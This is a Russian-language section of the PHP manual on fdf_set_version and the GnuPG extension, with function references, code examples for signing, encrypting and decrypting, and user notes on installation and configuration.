
Это значение больше не используется в текущей версии 5.0. Для совместимости оно по-прежнему поддерживается как необязательный параметр, но внутренне игнорируется.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • fdf_get_value() - Получает значение поля
  • fdf_remove_item() - Устанавливает целевой фрейм для формы

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает номер версии для файла FDF

  • « fdf_set_value
  • GnuPG »
  • PHP Manual
  • FDF
  • Устанавливает номер версии для файла FDF

fdf_set_version

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_version — Устанавливает номер версии для файла FDF

Описание

fdf_set_version(resource $fdf_document, string $version): bool

Устанавливает version FDF для данного документа.

Некоторые функции, поддерживаемые модулем, доступны только в новых версиях FDF.

Список параметров

fdf_document

Дескриптор документа FDF, возвращаемый fdf_create(), fdf_open() or fdf_open_string().

version

Номер версии. Для текущего набора инструментов FDF 5.0 это может быть 1.2, 1.3 или 1.4.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • fdf_get_version() - Получает номер версии для FDF API или файла

User Contributed Notes

There are no user contributed notes for this page.


GNU Privacy Guard

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
    • Прозрачное подписывание текста
  • GnuPG Функции
    • gnupg_adddecryptkey — Добавить ключ для расшифровки
    • gnupg_addencryptkey — Добавляет ключ для шифрования
    • gnupg_addsignkey — Добавить ключ для подписания
    • gnupg_cleardecryptkeys — Удаляет все ключи, которые были установлены для расшифровки раньше
    • gnupg_clearencryptkeys — Удаляет все ключи, которые были установлены для шифрования раньше
    • gnupg_clearsignkeys — Удаляет все ключи, которые были установлены для подписания раньше
    • gnupg_decrypt — Расшифровывает переданный текст
    • gnupg_decryptverify — Расшифровывает и проверяет подпись переданного текста
    • gnupg_deletekey — Удаляет ключ из связки ключей
    • gnupg_encrypt — Шифрует заданный текст
    • gnupg_encryptsign — Шифрует и подписывает переданный текст
    • gnupg_export — Экспортирует ключ
    • gnupg_getengineinfo — Возвращает информацию о движке
    • gnupg_geterror — Возвращает текст сообщения об ошибке, если функция не была выполнена
    • gnupg_geterrorinfo — Возвращает информацию об ошибке
    • gnupg_getprotocol — Возвращает текущий активный протокол для всех операций
    • gnupg_gettrustlist — Поиск доверительных элементов
    • gnupg_import — Импортирует ключ
    • gnupg_init — Инициализировать GnuPG
    • gnupg_keyinfo — Возвращает массив с информацией обо всех ключах, которые соответствуют заданному шаблону
    • gnupg_listsignatures — Перечисляет подписи ключа
    • gnupg_setarmor — Переключает вывод в текстовом или бинарном режиме
    • gnupg_seterrormode — Устанавливает режим отчётов об ошибках (error_reporting)
    • gnupg_setsignmode — Устанавливает режим подписывания
    • gnupg_sign — Подписывает переданный текст
    • gnupg_verify — Проверяет подпись текста

User Contributed Notes

There are no user contributed notes for this page.


Введение

Этот модуль позволяет взаимодействовать с » gnupg.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для работы модуля необходима » библиотека gpgme

User Contributed Notes

bill dot rex at charter dot net 04-Aug-2013 03:58
gnupg-1.3.3 is now out which does correctly build again PHP 5.4.x and 5.5.x
jimjag at gmail dot com 28-Jun-2013 09:13
gnupg-1.3.2 (the latest) does not build under PHP 5.4.x or PHP 5.5.x... there are numerous suggested patches but nothing official.


Установка

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/gnupg.

User Contributed Notes

5paceman 30-Apr-2023 12:16
To install on laravel sail:
<?php
sail publish
?>
Add to your Dockerfile:
<?php
    && apt-get update && apt-get upgrade -y \
    && apt-get install -y gcc-multilib libc-dev bzip2 libgpg-error-dev libassuan-dev \
    && apt-get install -y build-essential \
    && curl -sSn -o gnupg.tar.bz2 $GNUPG_URL \
    && mkdir gnupg \
    && tar -xf gnupg.tar.bz2 --directory gnupg \
    && (cd gnupg/gpgme-* && ./configure) \
    && (cd gnupg/gpgme-* && make && make install) \
    && pecl install gnupg
?>
Add to your php.ini under [php]
<?php
extension=gnupg.so
?>
Finally:
<?php
sail build --no-cache
?>
Check you can see gnupg under modules when you run:
<?php
sail php -m
?>
Mr T 21-Nov-2021 01:42
On Ubuntu 20, this is provided via `php-gnupg` (or with a specific version `php8.1-gnupg`)

To install:

`apt install php-gnupg`
Mahbub Kabir 08-Apr-2014 11:32
I tried followings on Debian Squeeze and it worked fine

apt-get install libgpgme11-dev
pecl install gnupg

create a new file under conf.d folder and add following lines

; configuration for gnupg module
extension=gnupg.so

Reload apache configuration
/etc/init.d/apache2 reload

Check PHP Info and you should see gnupg

Hope this helps.
cam dot metzke at gmail dot com 01-Nov-2013 08:14
For the folks in Debian Wheezy who are having a bit of trouble
heres a link to to a .deb file ( I use it ) for amd64 users

http://users.on.net/~cam.metzke/Debian%20Packages/Wheezy/gnupg/PECL-gnupg/

Anyway I built it for the community, hope it helps :)
Jane Doe 23-Apr-2013 12:03
Hi -

By default on Ubuntu 12.04 LTS gnupg needs to write to .gnupg in the home directory of the user running PHP (so for a web site this is www-data). You might need to make a ~/.gnupg for www-data and chown/chmod it correctly or everything will fail.
Dominik Sommer 13-Nov-2012 05:04
For Ubuntu 12.04, these are the steps:
1. Install packages: gnupg libgpg-error-dev libassuan-dev
2. Download GPGME library from ?http://www.gnupg.org/download/index.en.html#gpgme
3. Extract, then run
   configure
   make && sudo make install
4. Install PECL extension
   sudo pecl install gnupg
5. Add to php.ini
   extension=gnupg.so
frozenfire at php dot net 21-Feb-2012 02:36
Here are instructions for how to resolve the issue where you encounter this error:

/usr/include/gpgme.h:80:2: error: #error GPGME was compiled with _FILE_OFFSET_BITS = 64, please see the section "Largefile support (LFS)" in the GPGME manual.

This is a result of the gnupg extension currently lacking largefile support. The solution is fairly simple.

pecl download gnupg
tar -zxf gnupg-1.3.2.tgz
cd gnupg-1.3.2

Open the file config.m4 in an editor, and add "AC_SYS_LARGEFILE" to a new line at the very end of the file, then save.

phpize
./configure
make
make install

Now simply add extension=gnupg.so to your php.ini, and the extension should work.
Heath 07-Oct-2010 07:38
On Debian 5.05 (Lenny) I needed to install libgpgme11-dev
mk at wintermute dot at 04-Feb-2009 03:49
Quick installation guide on Fedora 10:

Needed:
- c++ compiler
- php-pear
- gnupg
- libgpg-error
- gpgme
- gpgme-devel
- php-devel

Install with:
$ pecl install gnupg

Add an entry to /etc/php.ini:
extension=gnupg.so

Restart Apache > you're done.
sma dot azar at gmail dot com 02-Feb-2009 10:10
After spending so much time I could only install it on Linux and not Windows. There is very little instructions on the net about installation of this module, so I am going to write a small instructions that should help a straightforward installation on Linux without so much trouble.

Step 1: you will need a C++ compiler on your machine. For being sure try this command in the terminal:
<?php
sudo apt-get install g++
?>
Obviously you need GnuPG itself, so try:
<?php
sudo apt-get install gnupg
?>
Step 2: you will need "Libgpg-Error" downloaded and installed on your machine.
2-1: Download the code from http://www.gnupg.org/download/#libgpg-error
2-2: Extract it to a directory. In the terminal, change the directory to the Libgpg-error directory.
2-3: Configure the package for building and installation with below command:
<?php
./configure
?>
2-4: In the same directory make it with below command:
<?php
sudo make
?>
2-5: In the same directory install it with below command:
<?php
sudo make install
?>

Step 3: you will need "GnuPG Made Easy" (GPGME) downloaded and installed on your machine. Some sources will tell you that you can "apt-get install" it, but actually you cannot. So do it like the latter:
3-1: Download the source code from http://www.gnupg.org/download/#gpgme
3-2: Extract it to a directory. In the terminal, change the directory to the GPGME directory.
3-3: Configure the package for building and installation with below command:
<?php
./configure
?>
3-4: In the same directory make it with below command:
<?php
sudo make
?>
3-5: In the same directory install it with below command:
<?php
sudo make install
?>

Step 4: Given that you have a LAMP server already and have php installed, you will need "pear" and "php source codes". To add them use below commands:
<?php
sudo apt-get install php5-dev
sudo apt-get install php-pear
?>

Step 5: Now you can install GNU Privacy Guard for php using PECL command:
<?php
 sudo pecl install gnupg
?>


Предопределённые константы

GNUPG_SIG_MODE_NORMAL (int)
GNUPG_SIG_MODE_DETACH (int)
GNUPG_SIG_MODE_CLEAR (int)
GNUPG_VALIDITY_UNKNOWN (int)
GNUPG_VALIDITY_UNDEFINED (int)
GNUPG_VALIDITY_NEVER (int)
GNUPG_VALIDITY_MARGINAL (int)
GNUPG_VALIDITY_FULL (int)
GNUPG_VALIDITY_ULTIMATE (int)
GNUPG_PROTOCOL_OpenPGP (int)
GNUPG_PROTOCOL_CMS (int)
GNUPG_SIGSUM_VALID (int)
GNUPG_SIGSUM_GREEN (int)
GNUPG_SIGSUM_RED (int)
GNUPG_SIGSUM_KEY_REVOKED (int)
GNUPG_SIGSUM_KEY_EXPIRED (int)
GNUPG_SIGSUM_KEY_MISSING (int)
GNUPG_SIGSUM_SIG_EXPIRED (int)
GNUPG_SIGSUM_CRL_MISSING (int)
GNUPG_SIGSUM_CRL_TOO_OLD (int)
GNUPG_SIGSUM_BAD_POLICY (int)
GNUPG_SIGSUM_SYS_ERROR (int)
GNUPG_ERROR_WARNING (int)
GNUPG_ERROR_EXCEPTION (int)
GNUPG_ERROR_SILENT (int)

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Содержание

  • Прозрачное подписывание текста

User Contributed Notes

There are no user contributed notes for this page.


Прозрачное подписывание текста

Это пример создания чистой подписи переданного текста.

Пример #1 Процедурный пример создания чистой подписи GnuPG

<?php
// инициализация GnuPG
$res = gnupg_init();
// на самом деле не нужно. Clearsign по умолчанию
gnupg_setsignmode($res, GNUPG_SIG_MODE_CLEAR);
// добавить ключ для подписания с паролем 'test'
gnupg_addsignkey($res, "8660281B6051D071D94B5B230549F9DC851566DC", "test");
// подписывание
$signed = gnupg_sign($res, "просто тест");
echo $signed;
?>

Пример #2 Объектно-ориентированный пример создания чистой подписи GnuPG

<?php
// новый класс
$gnupg = new gnupg();
// на самом деле не нужно. Clearsign по умолчанию
$gnupg->setsignmode(gnupg::SIG_MODE_CLEAR);
// добавить ключ для подписания с паролем 'test'
$gnupg->addsignkey("8660281B6051D071D94B5B230549F9DC851566DC", "test");
// подписывание
$signed = $gnupg->sign("просто тест");
echo $signed;
?>

Пример #3 keylistiterator

Этот модуль также поставляется с Iterator для ваших ключей.

<?php
// создаём новый итератор для включения в список всех открытых ключей, которые соответствуют 'example'
$iterator = new gnupg_keylistiterator("example");
foreach($iterator as $fingerprint => $userid){
echo $fingerprint." -> ".$userid."\n";
}
?>

User Contributed Notes

There are no user contributed notes for this page.


GnuPG Функции

Примечания

Этот модуль позволяет использовать связку ключей текущего пользователя. Связка, как правило, расположена в ~/.gnupg/. Чтобы указать другую папку, сохраните путь к связке ключей в переменной окружения GNUPGHOME. Смотрите putenv для получения дополнительной информации как это сделать.

Некоторые функции требуют спецификации ключа. Эта спецификация может быть всем, что относится к уникальному ключу (идентификатор пользователя, идентификатор ключа, отпечатки пальцев, ...). В этой документации используется отпечаток пальца во всех примерах.

Замечание:

В качестве альтернативы явно документированным функциям использующим resource, вы можете использовать объектно-ориентированный стиль с помощью объектов gnupg.

Содержание

  • gnupg_adddecryptkey — Добавить ключ для расшифровки
  • gnupg_addencryptkey — Добавляет ключ для шифрования
  • gnupg_addsignkey — Добавить ключ для подписания
  • gnupg_cleardecryptkeys — Удаляет все ключи, которые были установлены для расшифровки раньше
  • gnupg_clearencryptkeys — Удаляет все ключи, которые были установлены для шифрования раньше
  • gnupg_clearsignkeys — Удаляет все ключи, которые были установлены для подписания раньше
  • gnupg_decrypt — Расшифровывает переданный текст
  • gnupg_decryptverify — Расшифровывает и проверяет подпись переданного текста
  • gnupg_deletekey — Удаляет ключ из связки ключей
  • gnupg_encrypt — Шифрует заданный текст
  • gnupg_encryptsign — Шифрует и подписывает переданный текст
  • gnupg_export — Экспортирует ключ
  • gnupg_getengineinfo — Возвращает информацию о движке
  • gnupg_geterror — Возвращает текст сообщения об ошибке, если функция не была выполнена
  • gnupg_geterrorinfo — Возвращает информацию об ошибке
  • gnupg_getprotocol — Возвращает текущий активный протокол для всех операций
  • gnupg_gettrustlist — Поиск доверительных элементов
  • gnupg_import — Импортирует ключ
  • gnupg_init — Инициализировать GnuPG
  • gnupg_keyinfo — Возвращает массив с информацией обо всех ключах, которые соответствуют заданному шаблону
  • gnupg_listsignatures — Перечисляет подписи ключа
  • gnupg_setarmor — Переключает вывод в текстовом или бинарном режиме
  • gnupg_seterrormode — Устанавливает режим отчётов об ошибках (error_reporting)
  • gnupg_setsignmode — Устанавливает режим подписывания
  • gnupg_sign — Подписывает переданный текст
  • gnupg_verify — Проверяет подпись текста

User Contributed Notes

web at rlauzier dot com 29-Aug-2013 03:48
The function for listing all key signatures is also missing from the list...

gnupg_listsignatures

Examples:

$gpg = new gnupg();
$result = $gpg->listsignatures($fingerprint);

$gpg = gnupg_init();
$result = gnupg_listsignatures($gpg, $fingerprint);
phplist2REMOVE AT REMtincanOVE.co.uk 08-Nov-2006 09:20
There's a function/method missing in the list.

gnupg_deletekey

(no version information, might be only in CVS)

gnupg_deletekey -- Delete a key

Description

bool gnupg_deletekey ( resource identifier, string key, [bool allowsecret]  )

Deletes the key from the keyring. If allowsecret is not set or FALSE it will fail on deleting secret keys.

Return Values

On success, this function returns TRUE. On failure, this function returns FALSE.

Examples

Example 1. Procedural gnupg_deletekey() example

<?php
$res = gnupg_init();
gnupg_deletekey($res,"8660281B6051D071D94B5B230549F9DC851566DC");
?>

Example 2. OO gnupg_deletekey() example
<?php
$gpg = new gnupg();
$gpg -> deletekey("8660281B6051D071D94B5B230549F9DC851566DC");
?>


Добавить ключ для расшифровки

  • « GnuPG Функции
  • gnupg_addencryptkey »
  • PHP Manual
  • GnuPG Функции
  • Добавить ключ для расшифровки

gnupg_adddecryptkey

(PECL gnupg >= 0.5)

gnupg_adddecryptkey — Добавить ключ для расшифровки

Описание

gnupg_adddecryptkey(resource $identifier, string $fingerprint, string $passphrase): bool

Список параметров

identifier

Идентификатор gnupg, полученный из gnupg_init() или gnupg.

fingerprint

Отпечаток ключа.

passphrase

Кодовое слово.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования gnupg_adddecryptkey() в процедурном стиле

<?php
$res = gnupg_init();
gnupg_adddecryptkey($res,"8660281B6051D071D94B5B230549F9DC851566DC","test");
?>

Пример #2 Пример использования gnupg_adddecryptkey() в объектно-ориентированном стиле

<?php
$gpg = new gnupg();
$gpg->adddecryptkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
?>

User Contributed Notes

There are no user contributed notes for this page.


Добавляет ключ для шифрования

  • « gnupg_adddecryptkey
  • gnupg_addsignkey »
  • PHP Manual
  • GnuPG Функции
  • Добавляет ключ для шифрования

gnupg_addencryptkey

(PECL gnupg >= 0.5)

gnupg_addencryptkey — Добавляет ключ для шифрования

Описание

gnupg_addencryptkey(resource $identifier, string $fingerprint): bool

Список параметров

identifier

Идентификатор gnupg, полученный из gnupg_init() или gnupg.

fingerprint

Отпечаток ключа.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Процедурный пример использования gnupg_addencryptkey()

<?php
$res = gnupg_init();
gnupg_addencryptkey($res, "8660281B6051D071D94B5B230549F9DC851566DC");
?>

Пример #2 Объектно-ориентированный пример использования gnupg_addencryptkey()

<?php
$gpg = new gnupg();
$gpg->addencryptkey("8660281B6051D071D94B5B230549F9DC851566DC");
?>

User Contributed Notes

su at aboynamedsu dot net 14-Aug-2013 10:48
When you've successfully installed gnupg, you should define the GNUPGHOME environment variable and make sure the directory is writeable by the Apache user.

<?php
    putenv("GNUPGHOME=/var/www/example.com/.gnupg");
?>
php at cdauth dot de 02-Dec-2007 06:39
In this case, $fingerprint is the fingerprint of the public key whose private key shall be able to decrypt the text. The private key that you want to encrypt the text with has to be loaded via gnupg_addsignkey().


Добавить ключ для подписания

  • « gnupg_addencryptkey
  • gnupg_cleardecryptkeys »
  • PHP Manual
  • GnuPG Функции
  • Добавить ключ для подписания

gnupg_addsignkey

(PECL gnupg >= 0.5)

gnupg_addsignkey — Добавить ключ для подписания

Описание

gnupg_addsignkey(resource $identifier, string $fingerprint, string $passphrase = ?): bool

Список параметров

identifier

Идентификатор gnupg, полученный из gnupg_init() или gnupg.

fingerprint

Отпечаток ключа.

passphrase

Пароль.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Процедурный пример использования gnupg_addsignkey()

<?php
$res = gnupg_init();
gnupg_addsignkey($res, "8660281B6051D071D94B5B230549F9DC851566DC", "test");
?>

Пример #2 Объектно-ориентированный пример использования gnupg_addsignkey()

<?php
$gpg = new gnupg();
$gpg->addsignkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
?>

User Contributed Notes

php at cdauth dot de 13-May-2008 11:39
As of gnupg version 2, it is not possible to pass a plain password any more. The parameter is simply ignored. Instead, a pinentry application will be launched in case of php running in cli mode. In cgi or apache mode, opening the key will fail.
The simplest solution is to use keys without passwords.


Удаляет все ключи, которые были установлены для расшифровки раньше

  • « gnupg_addsignkey
  • gnupg_clearencryptkeys »
  • PHP Manual
  • GnuPG Функции
  • Удаляет все ключи, которые были установлены для расшифровки раньше

gnupg_cleardecryptkeys

(PECL gnupg >= 0.5)

gnupg_cleardecryptkeys — Удаляет все ключи, которые были установлены для расшифровки раньше

Описание

gnupg_cleardecryptkeys(resource $identifier): bool

Список параметров

identifier

Идентификатор gnupg, полученный из gnupg_init() или gnupg.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Процедурный пример использования gnupg_cleardecryptkeys()

<?php
$res = gnupg_init();
gnupg_cleardecryptkeys($res);
?>

Пример #2 Объектно-ориентированный пример использования gnupg_cleardecryptkeys()

<?php
$gpg = new gnupg();
$gpg->cleardecryptkeys();
?>

User Contributed Notes

There are no user contributed notes for this page.


Удаляет все ключи, которые были установлены для шифрования раньше

  • « gnupg_cleardecryptkeys
  • gnupg_clearsignkeys »
  • PHP Manual
  • GnuPG Функции
  • Удаляет все ключи, которые были установлены для шифрования раньше

gnupg_clearencryptkeys

(PECL gnupg >= 0.5)

gnupg_clearencryptkeys — Удаляет все ключи, которые были установлены для шифрования раньше

Описание

gnupg_clearencryptkeys(resource $identifier): bool

Список параметров

identifier

Идентификатор gnupg, полученный из gnupg_init() или gnupg.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Процедурный пример использования gnupg_clearencryptkeys()

<?php
$res = gnupg_init();
gnupg_clearencryptkeys($res);
?>

Пример #2 Объектно-ориентированный пример использования gnupg_clearencryptkeys()

<?php
$gpg = new gnupg();
$gpg->clearencryptkeys();
?>

User Contributed Notes

There are no user contributed notes for this page.


Удаляет все ключи, которые были установлены для подписания раньше

  • « gnupg_clearencryptkeys
  • gnupg_decrypt »
  • PHP Manual
  • GnuPG Функции
  • Удаляет все ключи, которые были установлены для подписания раньше

gnupg_clearsignkeys

(PECL gnupg >= 0.5)

gnupg_clearsignkeys — Удаляет все ключи, которые были установлены для подписания раньше

Описание

gnupg_clearsignkeys(resource $identifier): bool

Список параметров

identifier

Идентификатор gnupg, полученный из gnupg_init() или gnupg.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Процедурный пример использования gnupg_clearsignkeys()

<?php
$res = gnupg_init();
gnupg_clearsignkeys($res);
?>

Пример #2 Объектно-ориентированный пример использования gnupg_clearsignkeys()

<?php
$gpg = new gnupg();
$gpg->clearsignkeys();
?>

User Contributed Notes

There are no user contributed notes for this page.


Расшифровывает переданный текст

  • « gnupg_clearsignkeys
  • gnupg_decryptverify »
  • PHP Manual
  • GnuPG Функции
  • Расшифровывает переданный текст

gnupg_decrypt

(PECL gnupg >= 0.1)

gnupg_decrypt — Расшифровывает переданный текст

Описание

gnupg_decrypt(resource $identifier, string $text): string|false

Расшифровывает переданный текст ключами, установленными ранее с помощью gnupg_adddecryptkey.

Список параметров

identifier

Идентификатор gnupg, полученный из gnupg_init() или gnupg.

text

Расшифровываемый текст.

Возвращаемые значения

В случае успешного выполнения, эта функция возвращает расшифрованный текст. В случае возникновения ошибки, эта функция возвращает false.

Примеры

Пример #1 Процедурный пример использования gnupg_decrypt()

<?php
$res = gnupg_init();
gnupg_adddecryptkey($res, "8660281B6051D071D94B5B230549F9DC851566DC", "test");
$plain = gnupg_decrypt($res,$encrypted_text);
echo $plain;
?>

Пример #2 Объектно-ориентированный пример использования gnupg_decrypt()

<?php
$gpg = new gnupg();
$gpg->adddecryptkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
$plain = $gpg->decrypt($encrypted_text);
echo $plain;
?>

User Contributed Notes

bobby545 at op dot pl 02-Sep-2018 06:05
there is mistake in  description of object way, it said it is gnu_encrypt example not decrypt
Terra 03-Jun-2018 11:11
An update in regards to comments from 'yougot' and 'Mike'.

I have just submitted a pull request that should fix the 'passphrase' issue where the internal callback wasn't being called thereby triggering pinentry.

The pull request is at:  https://github.com/php-gnupg/php-gnupg/pull/15

This fix will also work for the current 1.4.0 release:  https://github.com/TerraTech/php-gnupg/tree/fix_adddecryptkey_passphrase-1.4.0

Hope that helps.
yougot at haxed dot com 28-Jul-2016 04:45
In regards to Mike's comments around passphrases not working correctly in v2, that's not entirely correct. If you want a PHP file to run without having to manually enter in your PGP passphrase you have to follow the steps outlined @ https://wiki.archlinux.org/index.php/GnuPG#Unattended_passphrase

Hope it helps.
aidukas at gmail dot com 01-Apr-2014 09:02
If empty text is encrypted, the gnupg_decrypt() function will return a boolean FALSE so if you do a strict comparison (===, !==) to track a failure it will trigger you a failure.
For failures use Exceptions:
<?php
        $gpg = new gnupg();
        $gpg->seterrormode(gnupg::ERROR_EXCEPTION);
        /*
         .......further code.......
       */
        try {
            $string = $gpg->decrypt($stringToDecrypt);
        } catch (Exception $e) {
         // do the Error processing
        }

?>
Mike 28-Jan-2010 03:26
As of gnupg version 2, it is not possible to pass a plain password any more. The parameter is simply ignored. Instead, a pinentry application will be launched in case of php running in cli mode. In cgi or apache mode, opening the key will fail.
The simplest solution is to use keys without passwords.


Расшифровывает и проверяет подпись переданного текста

  • « gnupg_decrypt
  • gnupg_deletekey »
  • PHP Manual
  • GnuPG Функции
  • Расшифровывает и проверяет подпись переданного текста

gnupg_decryptverify

(PECL gnupg >= 0.2)

gnupg_decryptverify — Расшифровывает и проверяет подпись переданного текста

Описание

gnupg_decryptverify(resource $identifier, string $text, string &$plaintext): array|false

Расшифровывает и проверяет подпись переданного текста и возвращает информацию о подписи.

Список параметров

identifier

Идентификатор gnupg, полученный из gnupg_init() или gnupg.

text

Текст для расшифровки.

plaintext

Параметру plaintext передаётся расшифрованный текст.

Возвращаемые значения

В случае успешного выполнения функция возвращает информацию о подписи и передаёт в параметр plaintext расшифрованный текст. В случае возникновения ошибки функция возвращает false.

Примеры

Пример #1 Пример использования gnupg_decryptverify() в процедурном стиле

<?php
$plaintext = "";
$res = gnupg_init();
gnupg_adddecryptkey($res, "8660281B6051D071D94B5B230549F9DC851566DC", "test");
$info = gnupg_decryptverify($res, $text, $plaintext);
print_r($info);
?>

Пример #2 Пример использования gnupg_decryptverify() в объектно-ориентированном стиле

<?php
$plaintext = "";
$gpg = new gnupg();
$gpg->adddecryptkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
$info = $gpg->decryptverify($text,$plaintext);
print_r($info);
?>

User Contributed Notes

There are no user contributed notes for this page.


Удаляет ключ из связки ключей

  • « gnupg_decryptverify
  • gnupg_encrypt »
  • PHP Manual
  • GnuPG Функции
  • Удаляет ключ из связки ключей

gnupg_deletekey

(PECL gnupg >= 0.5)

gnupg_deletekey — Удаляет ключ из связки ключей

Описание

gnupg_deletekey(resource $identifier, string $key, bool $allow_secret): bool

Список параметров

identifier

Идентификатор gnupg, полученный из gnupg_init() или gnupg.

key

Ключ для удаления.

allow_secret

Указывает, следует ли удалять и секретные ключи.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования gnupg_deletekey() в процедурном стиле

<?php
$res = gnupg_init();
gnupg_deletekey($res, "8660281B6051D071D94B5B230549F9DC851566DC");
?>

Пример #2 Пример использования gnupg_deletekey() в объектно-ориентированном стиле

<?php
$gpg = new gnupg();
$gpg->deletekey("8660281B6051D071D94B5B230549F9DC851566DC");
?>

User Contributed Notes

There are no user contributed notes for this page.


Шифрует заданный текст

  • « gnupg_deletekey
  • gnupg_encryptsign »
  • PHP Manual
  • GnuPG Функции
  • Шифрует заданный текст

gnupg_encrypt

(PECL gnupg >= 0.1)

gnupg_encrypt — Шифрует заданный текст

Описание

gnupg_encrypt(resource $identifier, string $plaintext): string|false

Шифрует заданный текст plaintext с помощью ключа, заданного ранее с помощью функции gnupg_addencryptkey и возвращает результат.

Список параметров

identifier

Идентификатор gnupg, полученный из gnupg_init() или gnupg.

plaintext

Текст для шифрования.

Возвращаемые значения

В случае успешного выполнения возвращает зашифрованный текст. В случае возникновения ошибки возвращает false.

Примеры

Пример #1 Пример использования gnupg_encrypt() в процедурном стиле

<?php
$res = gnupg_init();
gnupg_addencryptkey($res,"8660281B6051D071D94B5B230549F9DC851566DC");
$enc = gnupg_encrypt($res, "just a test");
echo $enc;
?>

Пример #2 Пример использования gnupg_encrypt() в объектно-ориентированном стиле

<?php
$gpg = new gnupg();
$gpg->addencryptkey("8660281B6051D071D94B5B230549F9DC851566DC");
$enc = $gpg->encrypt("just a test");
echo $enc;
?>

User Contributed Notes

Stressed dev. Permission issue (SELinux) 31-Jan-2022 05:58
If you're using CentOS 8 and you're having folder permissions problems, remember to disable SELinux during development. (/etc/selinux/config), just change to disabled or permissive. Then when your project is going live switch it back to enforcing and add the proper se context.
emiliocolombo3 at gmail dot com 23-Jun-2016 02:36
Examples

Getting Key Information

<?php
putenv('GNUPGHOME=/home/sender/.gnupg');

// create new GnuPG object
$gpg = new gnupg();

// throw exception if error occurs
$gpg->seterrormode(gnupg::ERROR_EXCEPTION);

// get list of keys containing string 'example'
try {
  $keys = $gpg->keyinfo('example');
  print_r($info);
} catch (Exception $e) {
  echo 'ERROR: ' . $e->getMessage();
}
?>

Encrypt a Simple Mail

<?php
// set path to keyring directory
// set path to keyring directory
putenv('GNUPGHOME=/home/sender/.gnupg');

// create new GnuPG object
$gpg = new gnupg();

// throw exception if error occurs
$gpg->seterrormode(gnupg::ERROR_EXCEPTION);

// recipient's email address
$recipient = 'dgar@example.org';

// plaintext message
$plaintext =
"Dear Dave,\n
  The answer is 42.\n
John";

// find key matching email address
// encrypt plaintext message
// display and also write to file
try {
  $gpg->addencryptkey($recipient);
  $ciphertext = $gpg->encrypt($plaintext);
  echo '<pre>' . $ciphertext . '</pre>';
  file_put_contents('/tmp/ciphertext.gpg', $ciphertext);
} catch (Exception $e) {
  die('ERROR: ' . $e->getMessage());
}
?>

Decryption The Mail

<?php
// set path to keyring directory
putenv('GNUPGHOME=/home/recipient/.gnupg');

// create new GnuPG object
$gpg = new gnupg();

// throw exception if error occurs
$gpg->seterrormode(gnupg::ERROR_EXCEPTION);

// recipient's email address
$recipient = 'dgar@example.org';

// ciphertext message
$ciphertext = file_get_contents('/tmp/ciphertext.gpg');

// register secret key by providing passphrase
// decrypt ciphertext with secret key
// display plaintext message
try {
  $gpg->adddecryptkey($recipient, 'guessme');
  $plaintext = $gpg->decrypt($ciphertext);
  echo '<pre>' . $plaintext . '</pre>';
} catch (Exception $e) {
  die('ERROR: ' . $e->getMessage());
}
?>
Mahbub Kabir 08-Apr-2014 11:38
// to generate a key type in gpg --gen-key in the command line
// to export public key gpg --export -a "User Name" > public.key

<?php
putenv("GNUPGHOME=/tmp");

// it assumes public key exists in the /tmp/keys folder
$publicKey = file_get_contents(getenv('GNUPGHOME') . '/keys/public.key');

    $gpg = new gnupg();
    $gpg->seterrormode(gnupg::ERROR_EXCEPTION);
    $info = $gpg->import($publicKey);
    $gpg->addencryptkey($info['fingerprint']);

    $uploadFileContent = file_get_contents('/tmp/file-to-encrypt');
    $enc = $gpg->encrypt($uploadFileContent);
    echo $enc

Hope this helps
nick johnson 17-Apr-2008 11:44
After spending some time trying to get this extension to work, I've found that you have to have the GNUPGHOME environment variable set so that the keychain can be found, and have it set equal to the .gnupg directory itself, not the apache/httpd user's home directory (which is what is shown in dan's example code).  below is an example of this and a simple function I was working on at the time to encrypt a piece of data for storage in a database.

<?php
    // set the environment so gnupg can find the keyring
    putenv("GNUPGHOME=/home/apache/.gnupg");

    function encrypt_string($str,$fingerprint) {
        $res = gnupg_init();
        gnupg_addencryptkey($res,$fingerprint);
        $enc = gnupg_encrypt($res, $str);
        return $enc;
    }
?>
dan at f-box dot org 19-Feb-2008 07:20
This is a simple example of a Procedural use of import addencryptkey and encrypt. Obviously in a real world use you would only be importing the key once.

<?php

putenv("GNUPGHOME=/tmp");
$pubkey = "-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.2.6 (GNU/Linux)

mQGiBEe68W8RBACVuFuv4d+roDSCdRO1SuO8dQwds4VTjVOqgVKQtq6+8Fe95RY8
BAf1IyLj4bxvWPhr0wZdVwTosD/sFoPtdCyhVcF932nP0GLHsTEeVwSz9mid22HI
O4Kmwj2kE+I+C9QdzAg0zaWQnVaF9UC7pIdMR6tEnADI8nkVDdZ+zb2ziwCg6Yqu
tk3KAzKRT1SNUzTE/n9y2PED/1tIWiXfGBGzseX0W/e1G+MjuolWOXv4BXeiFGmn
